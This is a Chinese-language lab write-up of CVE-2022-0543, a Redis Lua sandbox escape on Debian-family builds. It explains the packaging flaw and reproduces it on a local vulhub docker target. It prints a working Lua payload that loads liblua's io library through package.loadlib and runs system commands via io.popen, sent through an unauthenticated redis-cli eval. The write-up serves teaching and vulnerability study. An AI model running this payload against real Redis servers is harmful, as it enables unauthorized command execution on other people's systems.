[TOC]

漏洞详情

受影响的系统

  • 仅限于 Debian 系 Linux 发行版(如 Debian、Ubuntu)及其衍生版本。
  • 不受影响的系统:CentOS、RHEL 等非 Debian 系发行版不受此漏洞影响(漏洞源于 Debian 维护者在打包 Redis 时的补丁问题,而非 Redis 自身代码问题)。

受影响的 Redis 版本范围

  • redis版本小于等于6.x的都可以尝试。

触发条件

攻击者需具备 Redis 的未授权访问权限或合法凭证。

漏洞原理

背景

Redis 允许通过 eval 命令执行 Lua 脚本,但正常情况下这些脚本运行在沙箱中,无法执行系统命令或文件操作。

补丁引入的漏洞

Debian/Ubuntu 在打包 Redis 时,通过补丁代码向 Lua 沙箱中注入了一个名为 package 的全局对象。该对象本应在源码中被注释(出于沙箱安全考虑),但补丁错误地重新启用了它。

沙盒逃逸过程

  • 加载动态库:攻击者可通过 package.loadlib 加载 Lua 系统库(如 liblua5.1.so.0),调用其导出函数(如 luaopen_io)获取 io 库权限。
  • 执行命令:利用 io.popen 等函数执行任意系统命令。
1
2
3
4
5
6
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("whoami", "r"); -- 执行系统命令
local res = f:read("*a");
f:close();
return res;

攻击思路

单从攻击角度而言,可以使用redis未授权相同的打法,博客见:【vulhub】redis 4-unacc (redis未授权访问) - Mr_Soap - 博客园

从漏洞角度来看,使用eval函数执行上面的逃逸过程即可。

漏洞复现

kali靶机:192.168.192.132

kali攻击机:192.168.192.135

靶机进入vulhub-master/redis/CVE-2022-0543中,使用docker启动

1
docker-compose up -d

image-20250326161957788

攻击机进行redis未授权连接

1
redis-cli -h 192.168.192.132

image-20250326162311984

进行getshell

1
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");local io = io_l();local f = io.popen("whoami", "r");local res = f:read("*a");f:close();return res;' 0

image-20250326162631517

image-20250326162822769

说明已经能进行命令执行了。